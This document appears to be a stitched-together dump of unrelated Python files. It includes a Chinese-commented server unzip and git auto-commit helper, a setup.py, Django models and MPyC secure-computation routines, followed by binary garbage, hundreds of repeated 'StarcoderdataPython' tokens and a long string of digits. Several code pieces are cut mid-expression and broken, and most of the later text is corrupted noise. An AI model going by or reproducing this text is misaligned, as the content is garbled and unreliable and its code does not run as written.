target_decompress_path='/root/myFiles/' ) :param connect_object: :param folders_path: 压缩文件的保存路径(绝对路径) :param target_decompress_path: 目标解压路径(绝对路径) :param language_control: 解压时语言控制, 树莓派不需要此项(我已设置系统其为中文) :return: ''' if not exists(folders_path): # raise ValueError('{0} 文件不存在!请检查!'.format(folders_path)) pass # 报错就先不判断处理 elif not exists(target_decompress_path): raise ValueError('{0} 保存路径不存在!请检查!'.format(target_decompress_path)) else: pass _ = False # 先删除原始文件夹, 再进行解压覆盖, (否则无法覆盖) cmd = 'cd {0} && rm -rf {1} && unzip -o {2} {3} && rm {4}'.format( target_decompress_path, basename(folders_path).split('.')[0], language_control if language_control != '' else '', folders_path, folders_path) # print(cmd) try: connect_object.run(cmd) print('[+] server端解压 {0} 成功!'.format(folders_path)) _ = True except Exception as e: print(e) print('[-] server端解压 {0} 失败!'.format(folders_path)) return _ def auto_git(path): ''' master 自动git :param path: 绝对路径 :return: ''' system('cd {0} && git pull'.format(path)) print('------>>>| 远程合并分支完毕!!!') print((path + ' 正在提交').center(100, '*')) popen('cd {0} && git add --all'.format(path)) time.sleep(2) now_time = str(get_shanghai_time()) now_time = str(re.compile(r'\..*').sub('', now_time)) system('cd {0} && git commit -m "{1}"'.format(path, now_time)) time.sleep(2) system('cd {0} && git push -u origin master'.format(path)) print((path + ' 提交成功!!').center(100, '*') + '\n') return True 0 #from distutils.core import setup # #setup(name='Distutils', # version='1.0', # description='Python Distribution Utilities', # author='', # author_email='', # url='https://www.python.org/sigs/distutils-sig/', # packages=['distutils', 'distutils.command'], # ) from setuptools import setup setup(name='yf_kf', version='0.0', url='https://github.com/yfzhang/yf_kf', license='BSD', author='yfzhang', author_email='', description='customized kalman filtering implementation', packages=['yf_kf'], zip_safe=False) from django.db import models from datetime import datetime # Create your models here. class NameSpace(models.Model): name = models.CharField(max_length=100) createTime = models.DateTimeField("createTime", default=datetime.now) updateTime = models.DateTimeField("updateTime", default=datetime.now) creater = models.CharField(max_length=100) updater = models.CharField(max_length=100) delete_flag = models.BooleanField(default="False") def __str__(self): return self.name class Project(models.Model): name = models.CharField(max_length=100, null=True) namespace = models.ForeignKey(NameSpace, on_delete=models.CASCADE) createTime = models.DateTimeField("createTime", default=datetime.now) updateTime = models.DateTimeField("updateTime", default=datetime.now) creater = models.CharField(max_length=100) updater = models.CharField(max_length=100) delete_flag = models.BooleanField(default="False") swagger_json = models.TextField() host = models.CharField(max_length=100, null=True) basePath = models.CharField(max_length=100, null=True) def __str__(self): return self.name1-10 #from app.repo_downloader import system_command, parsed_output # #if __name__ == "__main__": # # # if there's a file called requirements.txt... # installation_cmd = "pip install -r requirements.txt" # installation_results, installation_err = system_command(installation_cmd) # if installation_err: # print("INSTALLATION ERROR:", error) # if installation_results: # print("-----------------") # print("INSTALLATION RESULTS:", parsed_output(results)) # # filename = "monthly_sales.py" # command = f"python {filename}" # # results, err = system_command(command) # if err: # print("ERROR:", error) # if results: # print("-----------------") # print("RESULTS:", parsed_output(results)) # toonsegers/sec_groups """Secure norm protocols by , adapted by . See: https://www.researchgate.net/profile/Thijs_Veugen """ import itertools from mpyc.runtime import mpc def norm(self, x): """Recursive norm (adapted from mpc._norm()).""" def _norm(x): n = len(x) if n == 1: t = x[0] return 1 - t, t i0, nz0 = _norm(x[:n//2]) # low bits i1, nz1 = _norm(x[n//2:]) # high bits i0 += (((n+1)//2)) return self.if_else(nz1, [i1, nz1], [i0, nz0]) l = type(x[0]).bit_length i, _ = _norm(x) return l - i def bit_length_mpc_norm(self, a): """Bit length currently in MPyC.""" x = self.to_bits(a) # low to high bits return norm(self, x) def bit_length_mpc_find(self, a): """Bit length currently in MPyC.""" l = type(a).bit_length x = self.to_bits(a) # low to high bits x.reverse() nf = self.find(x, 1) return l - nf @mpc.coroutine async def bit_length_new(self, a): stype = type(a) await self.returnType(stype) Zp = stype.field l = stype.bit_length r_bits = await self.random_bits(Zp, l) r_modl = 0 for r_i in reversed(r_bits): r_modl <<= 1 r_modl += r_i.value r_divl = self._random(Zp, 1<> i) & 1 for i in range(l)] r_bits = [stype(r.value) for r in r_bits] d_bits = [1-r_bits[i] if c_bits[i] else r_bits[i] for i in range(l)] h_bits = mpc.schur_prod([1-r_bits[i] for i in range(l-1) if not c_bits[i]], [d_bits[i+1] for i in range(l-1) if not c_bits[i]]) for i in range(l-2, -1, -1): if not c_bits[i]: d_bits[i+1] = h_bits.pop() k = norm(self, d_bits) - 1 k_u = self.unit_vector(k, l) # 0<=k> i) & 1 for i in range(l)] d_bits = [stype((1 - r_bits[i] if c_bits[i] else r_bits[i]).value) for i in range(l)] h_bits = mpc.schur_prod([stype(1 - r_bits[i]) for i in range(l-1) if not c_bits[i]], [d_bits[i+1] for i in range(l-1) if not c_bits[i]]) for i in range(l-2, -1, -1): if not c_bits[i]: d_bits[i+1] = h_bits.pop() k = norm(self, d_bits) - 1 k_u = self.unit_vector(k, l) # 0<=k Q d w � � � � � � �  " 5 H [ n � � � � � � �   , ? R e x � � � � � � �  # 6 I \ o � � � � � � � -@Sfy�������$7J]p�������.ATgz�������%8K^q������� /BUh{������&9L_r������� 0CVi|������':M`s������� 1DWj}������(;Nat������� 2EXk~������)<Obu�������  3FYl������*=Pcv�������!4GZm�������+>Qdw�������"5H[n�������,?Rex������� # 6 I \ o � � � � � � � !!-!@!S!f!y!�!�!�!�!�!�!�!"$"7"J"]"p"�"�"�"�"�"�"�"##.#A#T#g#z#�#�#�#�#�#�#�#$%$8$K$^$q$�$�$�$�$�$�$�$ %%/%B%U%h%{%�%�%�%�%�%�%&&&&9&L&_&r&�&�&�&�&�&�&�& ''0'C'V'i'|'�'�'�'�'�'�'(('(:(M(`(s(�(�(�(�(�(�(�( ))1)D)W)j)})�)�)�)�)�)�)**(*;*N*a*t*�*�*�*�*�*�*�* ++2+E+X+k+~+�+�+�+�+�+�+,,),<,O,b,u,�,�,�,�,�,�,�, - -3-F-Y-l--�-�-�-�-�-�-..*.=.P.c.v.�.�.�.�.�.�.�./!/4/G/Z/m/�/�/�/�/�/�/�/00+0>0Q0d0w0�0�0�0�0�0�0�01"151H1[1n1�1�1�1�1�1�1�122,2?2R2e2x2�2�2�2�2�2�2�23#363I3\3o3�3�3�3�3�3�3�344-4@4S4f4y4�4�4�4�4�4�4�45$575J5]5p5�5�5�5�5�5�5�566.6A6T6g6z6�6�6�6�6�6�6�67%787K7^7q7�7�7�7�7�7�7�7 88/8B8U8h8{8�8�8�8�8�8�899&999L9_9r9�9�9�9�9�9�9�9 ::0:C:V:i:|:�:�:�:�:�:�:;;';:;M;`;s;�;�;�;�;�;�;�; <<1<D<W<j<}<�<�<�<�<�<�<==(=;=N=a=t=�=�=�=�=�=�=�= >>2>E>X>k>~>�>�>�>�>�>�>??)?CQCdCwC�C�C�C�C�C�C�CD"D5DHD[DnD�D�D�D�D�D�D�DEE,E?EREeExE�E�E�E�E�E�E�EF#F6FIF\FoF�F�F�F�F�F�F�FGG-G@GSGfGyG�G�G�G�G�G�G�GH$H7HJH]HpH�H�H�H�H�H�H�HII.IAITIgIzI�I�I�I�I�I�I�IJ%J8JStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPython����  ��*   �@      ("��*��*��* ��*�*@@@$+2:AHPW^fmt{������������������")07>EMU\cjqx������������������%,3;CKRY`hnu}������������������  (/6=DKSZahov}������������������#*2:AGMT[cjqx������������������  '.5<DLSZahpw~������������������ $*29AHOV]dkry������������������� ")07>ELSZahpw~������������������$+29@GNV]dkry������������������    & - 5 < C J R Z a i p x  � � � � � � � � � � � � � � � � �    # + 3 ; B I Q Y ` g n v } � � � � � � � � � � � � � � � � � �    " ) 0 7 > F M T [ b i p v } � � � � � � � � � � � � � � � � �     % , 3 : B I O W ^ e m u | � � � � � � � � � � � � � � � � � �    ' . 6 = D J Q X _ f n u | � � � � � � � � � � � � � � � � � �  "*2:AHPW_gnu|������������������ !(/7>ELSZbipw~������������������1113231839431555924322356449459918845441437832875112572004525868223392321065142917749307742040108601507382956995303244067021053284492205942050736733774965375346606348745453912505635240357280490769757078536175102544975782908363687000851033849757608062223154749712427531296768086617392237491967365138474813784783778753803953630106243511258460939964527338388208745944109862832342125328898386813297058732508656763738125618617405687945551194199614042233108513965580051731910117423123940057107100051966425820799920715476484643116535424145137236238396834403947431328922310350724118170101071383918599199376688277534511902814418598261481311787247751390835703501009361089535724739897151534396521212781501102391596315583420203135800741099583197044170328718008104194128992523116856019113436126327418605265589324210237252255347024615271942641631378889400381194265571552872520450278410242988358735758239816329452684652331842676547596647953574942161138039592900945431053569376092681423729229907528315558287244467810970454944731773955655864867764915625748605554912753122011316994274120099001031968895503164715378261575196357370197212269176405615712932774957148806652180789612044912664980895892511460051399526073163038101344935142319249756659416144031215406410216114417877415602481198694298994864818682719951414158114981549203308994904463975695106347952727911082795118237055206140597816483674877319135110668918961760828611756382012621693633083523813397405748100123925356525279006648446985113975102129311010769139832013292490114228921193139745516193873443322236956605972920011951487109864568948981215732264671231168166764844162802871744913942542641054839517879090813334617637512597812819888676981117390755338585410095711932874576517899682229766439414157761027604031821941941934412905523012570676702771235181635974212061740730135835670441241633350342605302585240772264637738378708392160081172683682069290172757950101213507189652914834098375785891915749006777339174011243341755381047395478423954488729938383848542458108671611275953758876629981888194873771050711076317123909473077599466519823865091075985498848999939911736977778805836378725627804811203075171501432186859587430211368356452061119875752024697865154152960930804010346053537814212182780269244272168581923355905390051503948418482515948811062099435221275008251181177952449109908607128550483059360202946049083651284965793589104012199135557912408670122004816465328112426726571304125728054789910116032481059570511316779694853184068421495192616990263550470330495561784969893533694641659953111713084736260719030567206131503687402000081545544862279341121123777801019968910007450106153427567941834343711483758126794393599137111887236239751212406196946972727989783081263133078901773104389517772705203084010121787737833422794816172554547212710997143616328688589399078092101864722403525939280260593271289289915985118830198275317814629032630079376440120069322556458700852755831638316029367368561879304842316086611780291557809373281259147273033060159918485686068197344864717852309959105387091047297110924584417507068963981150829510431298123195561030394512696864267